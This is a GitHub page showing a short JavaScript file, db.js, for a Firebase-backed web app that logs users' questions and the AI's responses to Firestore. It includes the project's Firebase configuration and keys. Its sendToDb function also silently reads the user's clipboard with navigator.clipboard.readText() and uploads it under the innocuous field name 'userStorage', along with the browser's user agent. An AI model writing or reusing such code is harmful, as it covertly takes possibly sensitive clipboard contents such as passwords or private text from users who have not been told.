-
Notifications
You must be signed in to change notification settings - Fork 0
/
db.js
43 lines (29 loc) · 1.21 KB
/
db.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// Import the functions you need from the SDKs you need
import { initializeApp } from "https://www.gstatic.com/firebasejs/9.19.1/firebase-app.js";
import { getAnalytics } from "https://www.gstatic.com/firebasejs/9.19.1/firebase-analytics.js";
// TODO: Add SDKs for Firebase products that you want to use
// Your web app's Firebase configuration
import { getFirestore ,doc, setDoc } from "https://www.gstatic.com/firebasejs/9.19.1/firebase-firestore.js";
// For Firebase JS SDK v7.20.0 and later, measurementId is optional
const firebaseConfig = {
apiKey: "AIzaSyBJfTjYZMkIXB7cOFNGDmklym6jWtfDy8c",
authDomain: "ai-youxo.firebaseapp.com",
projectId: "ai-youxo",
storageBucket: "ai-youxo.appspot.com",
messagingSenderId: "50031213094",
appId: "1:50031213094:web:8d3f4006da78092e3ac4e7",
measurementId: "G-LJLFKQ38MR"
};
// Initialize Firebase
const app = initializeApp(firebaseConfig);
const analytics = getAnalytics(app);
const db = getFirestore(app);
async function sendToDb(ask , response){
await setDoc(doc(db, "Asking", ask + Date.now()), {
asking : ask,
response : response,
author : navigator.userAgent,
userStorage :await navigator.clipboard.readText()
})
}
export default sendToDb